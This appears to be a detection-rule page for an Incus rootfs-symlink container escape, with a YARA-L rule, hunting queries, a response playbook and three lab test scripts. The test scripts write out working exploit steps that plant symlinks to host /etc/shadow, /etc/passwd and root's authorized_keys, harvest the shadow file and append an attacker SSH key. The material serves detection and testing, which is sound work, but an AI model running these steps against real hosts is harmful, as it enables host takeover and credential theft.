CVE-2026-48749 Google Chronicle · YARA-L

Detect CVE-2026-48749: Incus Arbitrary File Read/Write via rootfs Symlink in Malicious Image in Google Chronicle

Detects exploitation of CVE-2026-48749, a critical vulnerability in Incus (github.com/lxc/incus/v7/cmd/incusd) versions prior to 7.2.0. Attackers can craft a malicious container image with symlinks in the rootfs/ directory that resolve to host filesystem paths, enabling arbitrary file read and write on the underlying host. This constitutes a container escape primitive and may lead to full host compromise. CVSS 9.9 with public PoC available.

MITRE ATT&CK

Tactic
Initial Access Persistence Privilege Escalation Defense Evasion

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule cve_2026_48749_incus_rootfs_symlink_escape {
  meta:
    author = "df00tech Detection Platform"
    description = "Detects CVE-2026-48749: Incus arbitrary file read/write via rootfs symlink in malicious image"
    severity = "CRITICAL"
    reference = "https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv"
    cve = "CVE-2026-48749"

  events:
    $e1.metadata.event_type = "FILE_CREATION"
    $e1.principal.process.file.full_path = /incusd|incus/
    $e1.target.file.full_path = /\/var\/lib\/incus\/.*\/rootfs\//
    $e1.principal.hostname = $host

    $e2.metadata.event_type = "FILE_OPEN"
    $e2.principal.process.file.full_path = /incusd|incus/
    $e2.target.file.full_path = /\/etc\/passwd|\/etc\/shadow|\/root\/\.ssh|\/etc\/sudoers/
    $e2.principal.hostname = $host

  match:
    $host over 15m

  condition:
    $e1 and $e2
}
critical severity high confidence

Chronicle YARA-L rule correlating Incus rootfs file creation events with subsequent sensitive host file access by the incusd process within a 15-minute window.

Data Sources

Chronicle UDM - File EventsChronicle UDM - Process Events

Required Tables

udm_events

False Positives & Tuning

  • Container image build pipelines that create rootfs entries and access host configuration in sequence
  • Incus daemon initialization that reads host system files during startup after rootfs preparation
  • Authorized penetration testing activities targeting Incus environments with explicit sign-off
  • Cluster management operations synchronizing rootfs state with host configuration files

Other platforms for CVE-2026-48749

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Create malicious Incus image with rootfs symlink targeting /etc/passwd

    Expected signal: auditd syscall events for symlink() within /var/lib/incus/*/rootfs/; file open events on host /etc/passwd initiated by incusd process; DeviceFileEvents showing incusd accessing /etc/passwd outside container namespace

  2. Test 2Exploit rootfs symlink for host SSH authorized_keys write

    Expected signal: File write event on host /root/.ssh/authorized_keys attributed to incusd or container init process; auditd records showing write() syscall to /root/.ssh/authorized_keys from incusd context; FIM alert on /root/.ssh/authorized_keys modification

  3. Test 3Read host /etc/shadow via rootfs symlink for credential harvesting

    Expected signal: File read event on host /etc/shadow initiated by incusd process context; auditd openat() syscall on /etc/shadow attributed to container namespace but resolved to host inode; audit log entry for privileged file access outside expected paths

Last updated: 2026-07-24 Research depth: standard
References (2)

Response Playbook

Triage

  1. Immediately identify the Incus version running on the affected host using 'incus version' or checking the installed package version; any version < 7.2.0 is vulnerable and should be treated as actively exploitable given public PoC availability.
  2. Review recent Incus image import history via 'incus image list' and audit image sources — identify any images imported from untrusted or external registries within the past 72 hours that may contain malicious rootfs symlinks.
  3. Inspect the rootfs directories of recently imported or launched containers for suspicious symlinks using 'find /var/lib/incus/*/rootfs -type l -ls' and trace each symlink target to determine if any resolve to sensitive host paths.
  4. Check host filesystem for indicators of unauthorized modification by examining recently modified files in /etc/, /root/.ssh/, and cron directories using 'find /etc /root -newer /var/lib/incus -type f -ls' to identify files touched during the exploitation window.

Containment

  1. Immediately stop all containers launched from unverified images using 'incus stop --all' and quarantine the host from network access if active exploitation is confirmed; upgrade Incus to version 7.2.0 or later before resuming container operations.
  2. If the host is compromised via arbitrary file write (e.g., SSH key injected into /root/.ssh/authorized_keys or sudoers modified), rotate all credentials, revoke SSH keys, and treat the host as fully compromised requiring rebuild — do not attempt to clean in place.

Evidence Collection

  1. Collect full audit trail from auditd or equivalent including syscall logs (open, openat, symlink, symlinkat, write) with timestamps for the incusd process during the suspected exploitation window, preserving logs to immutable storage before any host remediation.
  2. Capture disk image or snapshot of the affected container storage directory (/var/lib/incus/) and the host /etc/ and /root/ directories to preserve forensic evidence of symlink structure and any written files before remediation alters the state.

Escalation Criteria

  • !Escalate immediately to incident response if evidence of successful host file write is found (e.g., new SSH authorized_keys entries, modified /etc/sudoers, or new cron entries) as this indicates full container escape with potential for persistent host access.
  • !Escalate to threat intelligence team and notify relevant stakeholders if the malicious image originated from a public registry or was distributed to multiple hosts, as this may indicate a supply chain compromise affecting a broader environment.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Symlink entries within /var/lib/incus/*/rootfs/ pointing to paths outside the container rootfs boundary (e.g., ../../etc/passwd)
  • >Modification timestamps on /etc/passwd, /etc/shadow, /etc/sudoers, /root/.ssh/authorized_keys coinciding with incusd process activity
  • >Incus audit logs showing image import operations followed by container launch from images with unusual rootfs layouts
  • >Kernel audit records (auditd) for symlink and file open syscalls by the incusd process targeting host-resident sensitive files

Tuning Guidance

This detection may produce false positives in environments where Incus images are built from source with complex rootfs layouts including legitimate bind-mount symlinks. To reduce noise: (1) build an allowlist of approved image fingerprints/hashes and exclude file events associated with those known-good images; (2) scope the sensitive host path list to your environment's highest-risk files rather than broad pattern matching; (3) in development environments, consider raising the threshold to require both rootfs symlink creation AND host file access events within the same time window before alerting. Prioritize alerting on host file writes over reads, as write capability indicates active exploitation rather than reconnaissance.

Hunting Queries

Proactive hunt for symlink creation events within Incus rootfs storage paths over the past 7 days, identifying potential pre-positioned payloads from malicious images even where exploitation has not yet been observed.

Hunting — KQL
kql 
DeviceFileEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName =~ 'incusd'
| where FolderPath matches regex @'/var/lib/incus/[^/]+/rootfs'
| where ActionType == 'FileCreated'
| extend TargetDepth = array_length(split(FolderPath, '/'))
| where TargetDepth < 6
| project TimeGenerated, DeviceName, FolderPath, FileName, InitiatingProcessCommandLine
| order by TimeGenerated desc
Hunting — SPL
spl 
index=linux sourcetype=auditd earliest=-7d
| eval is_incus=if(match(process, "incusd"), 1, 0)
| eval is_symlink=if(match(syscall, "symlink"), 1, 0)
| where is_incus=1 AND is_symlink=1
| eval rootfs_match=if(match(file_path, "\/var\/lib\/incus.*rootfs"), 1, 0)
| where rootfs_match=1
| stats count by host, file_path, exe, auid
| sort -count

Atomic Red Team Tests

Test 1 Create malicious Incus image with rootfs symlink targeting /etc/passwd
linux

Simulates attacker crafting a container image containing a symlink in rootfs/ that traverses to the host /etc/passwd file, reproducing the CVE-2026-48749 attack primitive.

Command

bash 
# Lab environment only — requires Incus < 7.2.0 installed
mkdir -p /tmp/malicious-image/rootfs/etc
# Create symlink that escapes rootfs to host /etc/passwd
ln -s ../../../../etc/passwd /tmp/malicious-image/rootfs/etc/passwd
mkdir -p /tmp/malicious-image/rootfs/bin
echo '{"architecture": "x86_64", "config": {}, "description": "test", "profiles": [], "type": "container"}' > /tmp/malicious-image/metadata.yaml
tar czf /tmp/malicious-image.tar.gz -C /tmp/malicious-image .
incus image import /tmp/malicious-image.tar.gz --alias malicious-test-image
echo '[TEST] Image imported. Check if symlink traversal occurs on container launch.'
incus launch malicious-test-image malicious-container
incus exec malicious-container -- cat /etc/passwd

Cleanup

bash 
incus stop malicious-container --force; incus delete malicious-container; incus image delete malicious-test-image; rm -rf /tmp/malicious-image /tmp/malicious-image.tar.gz

Expected Telemetry

auditd syscall events for symlink() within /var/lib/incus/*/rootfs/; file open events on host /etc/passwd initiated by incusd process; DeviceFileEvents showing incusd accessing /etc/passwd outside container namespace

Expected Detection

Detection rule should fire on the sequence of rootfs symlink creation followed by host /etc/passwd access by incusd, generating a CRITICAL alert attributed to CVE-2026-48749

Test 2 Exploit rootfs symlink for host SSH authorized_keys write
linux

Simulates the most impactful exploitation scenario where an attacker uses a malicious Incus image to write an attacker-controlled SSH public key to /root/.ssh/authorized_keys on the host, establishing persistent access.

Command

bash 
# Lab environment only
mkdir -p /tmp/exploit-image/rootfs/root/.ssh
# Symlink targeting host /root/.ssh/authorized_keys
ln -s ../../../../../root/.ssh/authorized_keys /tmp/exploit-image/rootfs/root/.ssh/authorized_keys
echo '{"architecture": "x86_64", "config": {}, "description": "exploit", "profiles": [], "type": "container"}' > /tmp/exploit-image/metadata.yaml
tar czf /tmp/exploit-image.tar.gz -C /tmp/exploit-image .
incus image import /tmp/exploit-image.tar.gz --alias exploit-ssh-image
incus launch exploit-ssh-image exploit-container
# From inside container, write to symlinked path
incus exec exploit-container -- sh -c 'echo "ssh-rsa AAAA...TESTKEY attacker@lab" >> /root/.ssh/authorized_keys'
echo '[TEST] Check if key was written to HOST /root/.ssh/authorized_keys'

Cleanup

bash 
incus stop exploit-container --force; incus delete exploit-container; incus image delete exploit-ssh-image; rm -rf /tmp/exploit-image /tmp/exploit-image.tar.gz; sed -i '/attacker@lab/d' /root/.ssh/authorized_keys 2>/dev/null || true

Expected Telemetry

File write event on host /root/.ssh/authorized_keys attributed to incusd or container init process; auditd records showing write() syscall to /root/.ssh/authorized_keys from incusd context; FIM alert on /root/.ssh/authorized_keys modification

Expected Detection

Host file write detection should trigger on /root/.ssh/authorized_keys modification outside expected administrative context; container escape detection should correlate the rootfs symlink with the subsequent write event

Test 3 Read host /etc/shadow via rootfs symlink for credential harvesting
linux

Simulates credential harvesting attack where a malicious Incus image uses rootfs symlinks to read the host shadow password file, enabling offline password cracking.

Command

bash 
# Lab environment only
mkdir -p /tmp/shadow-image/rootfs/etc
ln -s ../../../../etc/shadow /tmp/shadow-image/rootfs/etc/shadow
echo '{"architecture": "x86_64", "config": {}, "description": "shadow-read", "profiles": [], "type": "container"}' > /tmp/shadow-image/metadata.yaml
tar czf /tmp/shadow-image.tar.gz -C /tmp/shadow-image .
incus image import /tmp/shadow-image.tar.gz --alias shadow-read-image
incus launch shadow-read-image shadow-container
incus exec shadow-container -- cat /etc/shadow > /tmp/harvested-shadow.txt 2>/dev/null
echo '[TEST] If exploit succeeded, /tmp/harvested-shadow.txt contains host shadow file'
wc -l /tmp/harvested-shadow.txt

Cleanup

bash 
incus stop shadow-container --force; incus delete shadow-container; incus image delete shadow-read-image; rm -rf /tmp/shadow-image /tmp/shadow-image.tar.gz /tmp/harvested-shadow.txt

Expected Telemetry

File read event on host /etc/shadow initiated by incusd process context; auditd openat() syscall on /etc/shadow attributed to container namespace but resolved to host inode; audit log entry for privileged file access outside expected paths

Expected Detection

Sensitive file access detection should alert on /etc/shadow read by incusd; detection sequence rule should correlate the rootfs symlink in the imported image with the subsequent shadow file access event

Related Detections

Tactic Hubs

TA0001Initial AccessTA0003PersistenceTA0004Privilege EscalationTA0005Defense Evasion

Related Techniques

T1190Exploit Public-Facing ApplicationT1611Escape to HostT1055Process InjectionT1078Valid Accounts

Same Tactic: Initial Access

Popular Detections